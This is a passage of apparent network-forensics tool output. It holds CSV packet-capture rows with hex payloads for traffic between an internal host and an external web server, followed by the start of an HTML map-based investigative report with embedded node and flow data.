07ad519fc2d9a28f0ec344bf09cf60556e0b93996e0cb3bbf62059e576009bea27bbe0578d6cc224bf065bd8556e0596596e082fe2badc0b32b2dc17306afb002cf0d5a822f1f9d0715fb5434785e07804331e02bcae659b465c1cca1cba1934453175cd666099e950d60d737a3c1053d73c1120ace35806717cd85cefd4dd73738521dc531a77b0ec88f1134b712c0aea7a3c1970fce06f931e0796d000e5f140dbea200c0a168ead93307206c8463c097b501d8f5ad68f0ac420c3231e082c159203b063cbb1dc0e118f09c2200bbbe1d0d9edb7f19c88e015f3e7a21507ba3c1f37a675a81af08023814edfc9c994900f64553cfb9ac\"\"}}]\"\n2026-07-18 10:02:24.150683,2,TCP 10.152.152.11:64179 -> 194.36.32.206:80,10.152.152.11,194.36.32.206,64179,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,R,,,Ether > IP > TCP,3,TCP R Seq=971166325 Ack=971166325,bc24112907bbbc2411360d0c08004500002800144000800675260a98980bc22420cefab3005039e2d27539e2d2755004000016970000,\".$.)...$.6\n...E..(..@...u&\n....$ ....P9..u9..uP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 20, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29990, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.206\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64179, \"\"dport\"\": 80, \"\"seq\"\": 971166325, \"\"ack\"\": 971166325, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"R\"\", \"\"window\"\": 0, \"\"chksum\"\": 5783, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-18 10:02:24.151598,3,TCP 194.36.32.206:80 -> 10.152.152.11:64178,194.36.32.206,10.152.152.11,80,64178,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=4192091768 Ack=3948824745,bc2411360d0cbc24112907bb0800450005dc913c400040061e4ac22420ce0a98980b0050fab2f9de3e78eb5e48a95010003f8b640000fe6e071c383d74a6e2405f1bc6871ce0dd5754b7bef547e340671b6cfdf71c441c70f0331ca4ef6c106a29071cfc0c07ef3d701a2f38e0e0873858246f6c111ac982030e7e8c83e20f08fefedbe45172113f1a07aaf860e38003838d030e0c360e3830d838e0c060e38003838d030e0c360e3830d838e0c060e38003838d030e0c360e3830d838e0c060e38003838d030e0c360e3830d838e0c060e38003838d030e0c360e3830d838e0c060e380838babfc57b8e697f893cd39e0e06c95fff6507a893f997fe79783f3d53af4dfbb3e59897ff79d83b3f5ebd0f73f3859ff153f59d73dc4c139ea5fecfb520ebc632607672bbed8dfbaed8b9da938b8bea687be7dd3c9aa5decce85832bac76a10f184d3d6ccac1b9971fa3cbfbb9bc4d2007c6dbe5fae4e08a370897f78c72f92c9aed010767ab7591efd73df06c3207e71f7117f78851c3b28883b3363fc25bfa1dbde59b0fa6ee1d0ecebb23bdb02548e3e0775fe6405fab7c415b303cfc40d9aa634d0776c91c9c7d42a83d1d88e071d86d144fcab5bac3c70329cccae9a0e39ee1e0fc13c2412f697b1ab677de3a393e48c2addd0107dfd072dc4df69f0bee6a7fbd89f801121e02bb030ebea1b41cc68dd9be93413b78a568dfc32d57450dd30107e76e588edc7676c0b8cd0b57ada784fd2064ad63eddb39d017ebecbf455833083ba3e97cb19827a34e780884f22f8382dfee130ebe6165d40cf67c79c5636da520d93a5ab494d078fcfaf1caa7b783a6551107df5112ee0761c5a09eec5e1d2f5dd51ef763104edd231c7ce316211864fb30f8fbd777ba17846cc9c0e680836f6b3504bb4fc760b01f84a728082ef2d5af1cfc3c085fd8ddbec3601f08eb1d37061c5c008460981d81c1972164c31a061c5c0484cd039ed9e10cbe06219bac9e8c0b31e0e0bb1bd7374f067f286152fbf011ce35840f5fb191cd6e57dfb81ebb1738f8f65623b790f0c18b46972f8d0e6ee6efdd687e137ce2af7cb2c95a81e70d38b890fe59bf2c2268c5b337ff9620fb148367086f6e39b26ceba5aa617fee0ee0e0329a3637128256ef61f6f75fd664d963f7730c9e2144b3bf8f9265b387def36bf4c266e2ec737039c55b12f2d57dbb1b0d768a5ac167193c43c84dbd384ad4da79b5767de8cc737059bb84e18e84b7fa0c832d08ef15d60796441c5ce09c70f3918430fae4c89dfff3e1a13a230a38b8d049a17f1386effc02ffc232267e677a09c3ce60ea6c7370c914e27e67fb2f6b9effdee6abbfc0f3e9e595a384f59b7e6c26e0a0121892f16877873b1aef3176d3974789e3247576399038903890389038903890389038903890389038903890389038903890389038903890389038903890389038b8b6b2a7a7ecb4dfc039e6e0f2ebd782d6ec840a1e7af193b3ccc18557be976c637eb2e3b74f7b780e74b4711a04a3531d3e3eede139d071fab57cd7c0531d7ef936b17de79983cb2ef9ccbb9b1d381d04f7ce3307175ee3941342e3b4b30d073af2afecc1098f6d3ae0a02a1342ed040f6ece4c071c546d4238c15ef6d674c041755abdadebe444c09ace30075568f59051e3c82ba3d5aa28983ac31c54a2fe72c0764fb22a8a9c5f0eaad1bcbe1cb2c3631e74b09a6552e797838a340e8ebe45980436c91c547465543bda0b4fd79b839e73cb41855646cdd52a66765c06cdb973cb41854aebc784b06650b739e0a0625b84f07810d60c82b1f3ca41c51a06c782b06130705639a85c833584c7c38ef3880107d70021181ef0a7f5d9b0860107d701a1bff74b2c9efa01061c5c0b847d37099b3511061c541942b819c77bac8d9e368e420c38a872c3fa664a88bf28219b6c26837aec4c7250e9d2e67a3007dd59f61505edcd1736a7ce23075587106dd6464134c9beae20eccc9d450eae696d1404ed38fb9042f6f4f0ac20a80f9d410eae634ae83c4f0941239f14dea19065935e2dd89a0c52e78f836b297ede2594141e66af59c8b2a7bb6d0426030eae6d4a1884c14eadee70f2986d357b18468ddddbd40776061c5cf1,\".n..8=t..@_......WT...G.@g.l...D.p.3...l.j)......=p./8...8X$ol......~.........Qr.?....`........6.80.8..`........6.80.8..`........6.80.8..`........6.80.8..`........6.80.8..`......W......9..l...Pz.?.......:...>Y..........?8Y..?Y.=..9._..R..c&.g+........8.....}...]....+.v...M=l..........M ........7....r.,....g.u...=.l2...q...Q.....6?.[............#..%H..w_.@_.|A[0<.@..cM.v...}B.=...q.m.O......)...........A/i{..w.:9>H.......r.M....j....................A;x.h..-WE\n....nX..vv....W.... d.c..9.....EX3.;..|..'.Nx.../.......ae...|y.cm. .:Z...x........U...Q...a....^./]...c.N.#.|..!.d.0...w...l.....ok5..O.`....(.......<._....`....7..\\..`.....!d....\\..........!.....1.....7O..(aR....5.._...nW.....8..V#.....F./..n...h~.|..|..Z..\n8...Y.,\"\"h..7.. ...g.on9.l...a.....2.67..V.a.._.d.c.s..!D....e....k..f..sp9.[...}..\nv.Z.g.<C.M.8J..y.v}..spY.........-......D.\\..p...0........:#\n8..I.........2&~gz\t..`.lsp...~g./k...............~l&......hw.;..1v..G..$uv9.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.........9.........\n.z......W..lc~...O{x.t.q...S.>>..9.q..|..S.~.6.}..........8....3..^...B...\n.:....\t.m:..*.B...n.L..TmB8.^..t.AuZ....D...0.Uh..Q..+...(.:..T..r.vO.*.._........c.t..eR....4...E..6..TteT;..O....s.A.VF..*fv\\...s.A.J....fP.9..b[..x.......A......a0pV9.\\.5..........!...............K,.....\\..}7\t.5...T.B...{...6.B.8.r..fJ..(!.l&.z.LrP...z0..Y......6..#.U..m.FA4... ...E..im...8..B.... ...A..cJ.<O\tA#.....e.^-...R...k)~.%...f.Y....m.&...mJ...N..p..m5{.F.....v..\\.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1500, \"\"id\"\": 37180, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 7754, \"\"src\"\": \"\"194.36.32.206\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64178, \"\"seq\"\": 4192091768, \"\"ack\"\": 3948824745, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 35684, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"fe6e071c383d74a6e2405f1bc6871ce0dd5754b7bef547e340671b6cfdf71c441c70f0331ca4ef6c106a29071cfc0c07ef3d701a2f38e0e0873858246f6c111ac982030e7e8c83e20f08fefedbe45172113f1a07aaf860e38003838d030e0c360e3830d838e0c060e38003838d030e0c360e3830d838e0c060e38003838d030e0c360e3830d838e0c060e38003838d030e0c360e3830d838e0c060e38003838d030e0c360e3830d838e0c060e380838babfc57b8e697f893cd39e0e06c95fff6507a893f997fe79783f3d53af4dfbb3e59897ff79d83b3f5ebd0f73f3859ff153f59d73dc4c139ea5fecfb520ebc632607672bbed8dfbaed8b9da938b8bea687be7dd3c9aa5decce85832bac76a10f184d3d6ccac1b9971fa3cbfbb9bc4d2007c6dbe5fae4e08a370897f78c72f92c9aed010767ab7591efd73df06c3207e71f7117f78851c3b28883b3363fc25bfa1dbde59b0fa6ee1d0ecebb23bdb02548e3e0775fe6405fab7c415b303cfc40d9aa634d0776c91c9c7d42a83d1d88e071d86d144fcab5bac3c70329cccae9a0e39ee1e0fc13c2412f697b1ab677de3a393e48c2addd0107dfd072dc4df69f0bee6a7fbd89f801121e02bb030ebea1b41cc68dd9be93413b78a568dfc32d57450dd30107e76e588edc7676c0b8cd0b57ada784fd2064ad63eddb39d017ebecbf455833083ba3e97cb19827a34e780884f22f8382dfee130ebe6165d40cf67c79c5636da520d93a5ab494d078fcfaf1caa7b783a6551107df5112ee0761c5a09eec5e1d2f5dd51ef763104edd231c7ce316211864fb30f8fbd777ba17846cc9c0e680836f6b3504bb4fc760b01f84a728082ef2d5af1cfc3c085fd8ddbec3601f08eb1d37061c5c008460981d81c1972164c31a061c5c0484cd039ed9e10cbe06219bac9e8c0b31e0e0bb1bd7374f067f286152fbf011ce35840f5fb191cd6e57dfb81ebb1738f8f65623b790f0c18b46972f8d0e6ee6efdd687e137ce2af7cb2c95a81e70d38b890fe59bf2c2268c5b337ff9620fb148367086f6e39b26ceba5aa617fee0ee0e0329a3637128256ef61f6f75fd664d963f7730c9e2144b3bf8f9265b387def36bf4c266e2ec737039c55b12f2d57dbb1b0d768a5ac167193c43c84dbd384ad4da79b5767de8cc737059bb84e18e84b7fa0c832d08ef15d60796441c5ce09c70f3918430fae4c89dfff3e1a13a230a38b8d049a17f1386effc02ffc232267e677a09c3ce60ea6c7370c914e27e67fb2f6b9effdee6abbfc0f3e9e595a384f59b7e6c26e0a0121892f16877873b1aef3176d3974789e3247576399038903890389038903890389038903890389038903890389038903890389038903890389038903890389038b8b6b2a7a7ecb4dfc039e6e0f2ebd782d6ec840a1e7af193b3ccc18557be976c637eb2e3b74f7b780e74b4711a04a3531d3e3eede139d071fab57cd7c0531d7ef936b17de79983cb2ef9ccbb9b1d381d04f7ce3307175ee3941342e3b4b30d073af2afecc1098f6d3ae0a02a1342ed040f6ece4c071c546d4238c15ef6d674c041755abdadebe444c09ace30075568f59051e3c82ba3d5aa28983ac31c54a2fe72c0764fb22a8a9c5f0eaad1bcbe1cb2c3631e74b09a6552e797838a340e8ebe45980436c91c547465543bda0b4fd79b839e73cb41855646cdd52a66765c06cdb973cb41854aebc784b06650b739e0a0625b84f07810d60c82b1f3ca41c51a06c782b06130705639a85c833584c7c38ef3880107d70021181ef0a7f5d9b0860107d701a1bff74b2c9efa01061c5c0b847d37099b3511061c541942b819c77bac8d9e368e420c38a872c3fa664a88bf28219b6c26837aec4c7250e9d2e67a3007dd59f61505edcd1736a7ce23075587106dd6464134c9beae20eccc9d450eae696d1404ed38fb9042f6f4f0ac20a80f9d410eae634ae83c4f0941239f14dea19065935e2dd89a0c52e78f836b297ede2594141e66af59c8b2a7bb6d0426030eae6d4a1884c14eadee70f2986d357b18468ddddbd40776061c5cf1\"\"}}]\"\n2026-07-18 10:02:24.151708,4,TCP 10.152.152.11:64178 -> 194.36.32.206:80,10.152.152.11,194.36.32.206,64178,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,R,,,Ether > IP > TCP,3,TCP R Seq=3948824745 Ack=3948824745,bc24112907bbbc2411360d0c08004500002800164000800675240a98980bc22420cefab20050eb5e48a9eb5e48a950040000c7370000,\".$.)...$.6\n...E..(..@...u$\n....$ ....P.^H..^H.P....7..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29988, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.206\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64178, \"\"dport\"\": 80, \"\"seq\"\": 3948824745, \"\"ack\"\": 3948824745, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"R\"\", \"\"window\"\": 0, \"\"chksum\"\": 50999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"194.36.32.206\", \"ip\": \"194.36.32.206\", \"packet_count\": 4, \"total_bytes_sent\": 3028, \"total_bytes_received\": 108, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1784368944.150588, \"last_seen\": 1784368944.151708, \"packets\": [{\"num\": 0, \"time\": 1784368944.150588, \"size\": 1514, \"direction\": \"sent\"}, {\"num\": 1, \"time\": 1784368944.150683, \"size\": 54, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1784368944.151598, \"size\": 1514, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1784368944.151708, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.3, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 215724, \"isp\": \"Edgevana, Inc.\", \"network\": \"194.36.32.0/23\"}, \"duration\": 0.001119852066040039, \"avg_packet_size\": 784.0, \"packets_per_second\": 3571.900361933149}, {\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 4, \"total_bytes_sent\": 108, \"total_bytes_received\": 3028, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"ports_used\": [64179, 64178], \"first_seen\": 1784368944.150588, \"last_seen\": 1784368944.151708, \"packets\": [{\"num\": 0, \"time\": 1784368944.150588, \"size\": 1514, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1784368944.150683, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1784368944.151598, \"size\": 1514, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1784368944.151708, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.3, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 0.001119852066040039, \"avg_packet_size\": 784.0, \"packets_per_second\": 3571.900361933149}];\n        const edges = [{\"source\": \"194.36.32.206\", \"target\": \"10.152.152.11\", \"packet_count\": 2, \"total_bytes\": 3028, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [64179, 64178], \"first_packet\": 1784368944.150588, \"last_packet\": 1784368944.151598, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1784368944.150588, \"timestamp_iso\": \"2026-07-18T15:32:24.150588\", \"timestamp_human\": \"2026-07-18 15:32:24.150\", \"size\": 1514, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"194.36.32.206\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 31776, \"ip_len\": 1500, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64179, \"tcp_seq\": 1684298666, \"tcp_ack\": 971166325, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1460, \"payload_preview\": \"0834ead7970fea98a9513fe25a7e93666234a6292ea6352ea63d82b1fab1d8a187c7c3e6b4594baddb3578433c4cf68df13079713185375a5bc17e4eb7f081f1b09dad343ecc82d1fe58d6e2ed35812adcf05fd4b039d80121c695899bc538c33e960acc7809afb120025f88702fd22ff73756d75761075bed0fe28e33461d17ee605ae3db8f9c1997bffdf108ffac8851d1447d8751c835b671893a1f83d484eea546b9d7d96e65029b1f708a2c3a048ce759300e8490713e32ba75c615f54c5f30446b27962defa0cae63aeca6e799a6bde2a447c0e18768a61af54bcced096af399c1ddff4170c7dd96e01c6bea226b70a935b8cc1a5c1ec7c0db69efcc458408b9cb9a7accaefabecaa6193539a3d8748c0fac09fa21ed3ec6d11f55a7072746dca84dd343038a746ba57f1b1e95f546e031bf0dde1e4165ea287fd5c0ff9e56c1f833e3d911a2cf7bca893c693fa19e1003d169a27f27bd2ca235451dc4a531104643abe570fa52acb0357800d4ba07d2ac0ce3728adb6de74e709c4c044e4e70703c7e9622917ed8c54bf32896a3fb0ebb976aa9544458cb3d20ccce797c1b400cbedee2c51012735fb7a911c98857f4a67b69be7f782a23585213dce6af0bfa1bda774336fb90ef21fce8d9e3789706f2fec3d3a288d6d5de7d86f356330931c896669851f613fc4edde3eaad1cf5afeb88fabc1398e75b32b7df79860b6ff61da1dc2754eef0e66afcc530d71115b01300f1f86f07fbab5d0f99f85dd551fc0088c77f1b185f1d32ebf745f30300b88fd0df64aedd7506df62529ff2e0c99718794c4324ae697d4f4c331c5fb10e702b6b335c3bc172e7096cdf59483965a9768388d235ed043a5877fbeef4dab9dd04ba08ae20a40401b43c915a8cb111fe3f08f9a3eb28cdbf9ec82a0af82beab66f5b01036687bf7f3be6f374d1fdc44c9ae83634f8eb1ad13cbf5fbbd3d35909761f8520ba3e952e4357f877a67dc27ab20194100f44e7241d38f4270026c3326bcc042efc530c7b792ca83616148c053545407a82d26e011bb2808167eaf50203b0d20ad8f2c96935b13142fb2da1a39f58681a8c85e558c08a2c604d16b0b6410b237bad8003835636667f6a052df8f4b480d0c56670ad113cada87eebd6fabaa2f510f596d56faea9ac2c39a39a1793d7450c8fc6b4c5c574c4c574c5c50cc4c5a47d1a0f93131753101753f969a47e635c8d8f6a898f6a8d87aadbd515c78aba5d7d7131037131437131397f8e6b42517c54697c54597c54d39fe359d11617d31117d315c12c29aaf657d62e8734a246a5a109022ebc83743770dbae8402b5931e9d895b9eb0aea79b1898e6693b4769cbcf90d08348325b2559555f83b3bc9128679946a4c959bcabc1bfc9489254aa91cc5749d403526df2d5080797aa843e3a45f4a826bad6a7ae69d8b5aaa221e8ef7ae47434a8938268783f9a256dad698444a46c275e5becbafa0c7e1dd0e3eac009046f5c74a4b3b1ba02948d16e32601db18c31fa5441a4cd13ba8b335017f448e7ea8df25e18413b915c1de5462b775c21dceb2c6ed1b375cd6bb04a69b27d5d588069d55bee40c177ad2773d1e45571be90bba8bc0694a6f80ce2e0568381a3a6760b105746ead15f4f23480faae8